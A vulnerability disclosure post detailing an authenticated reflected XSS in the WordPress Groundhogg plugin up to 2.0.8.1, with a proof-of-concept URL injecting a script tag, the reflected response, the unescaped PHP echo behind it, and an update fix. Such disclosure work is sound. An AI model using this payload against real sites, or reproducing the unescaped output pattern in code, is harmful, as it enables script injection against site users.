Wordpress Groundhogg <= 2.0.8.1 Authentificated Reflected XSS
Wordpress Groundhogg plugin with a version lower then 2.0.8.1 is affected by an authenticated Reflected Cross-site scripting (XSS) vulnerability.
Intial submission of the vulnerability
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Exploit Title: Wordpress Groundhogg <= 2.0.8.1 Authenticated Reflected XSS Vulnerability
# Date: 22-10-2019
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://www.groundhogg.io/
# Software Link: https://wordpress.org/plugins/groundhogg/
# Version: 2.0.8.1
# Tested on: Ubuntu 18.04 / Wordpress 5.3
1. Description:
Wordpress Groundhogg plugin with a version lower then 2.0.8.1 is affected by an authenticated Reflected Cross-site scripting (XSS) vulnerability.
2. Proof of Concept:
Reflected Cross-site scripting (XSS)
- Using an Wordpress user, access < your_target > /wp-admin/admin.php?page=gh_bulk_jobs&action=gh_export_contacts<%2Fscript><script>alert(1)<%2Fscript>
- The response will contain:
```
bulk_action: 'groundhogg/bulk_job/gh_export_contacts</script><script>alert(1)</script>/ajax', items: bp.getItems(), the_end: bp.isLastOfThem() },
```
Detailed analysis of the vulnerability
On wp-content/plugins/groundhogg/includes/admin/bulk-jobs/class-wpgh-admin-bulk-job.php
at line 217
, we can observe that in the middle of <script> ... </script>
tags there is an unescaped echo of user-supplied data in the form of URL paths.
1
2
3
4
5
6
$.ajax({
type: "post",
url: ajaxurl,
dataType: 'json',
data: { action: 'bulk_action_listener', bulk_action: '<?php echo "groundhogg/bulk_job/{$this->get_action()}/ajax" ?>', items: bp.getItems(), the_end: bp.isLastOfThem() },
success: function( response ){
This vulnerability could be easily exploited by accessing example.com/wp-admin/admin.php?page=gh_bulk_jobs&action=gh_export_contacts<%2Fscript><script>alert(1)<%2Fscript>
where example.com
is your target.
How to fix
Update to the latest available version of the Groundhogg plugin.
Public appearances
- tba
Other references
- Thanks to @pluginvulns for this: https://twitter.com/pluginvulns/status/1187108581839007744
This post is licensed under CC BY 4.0 by the author.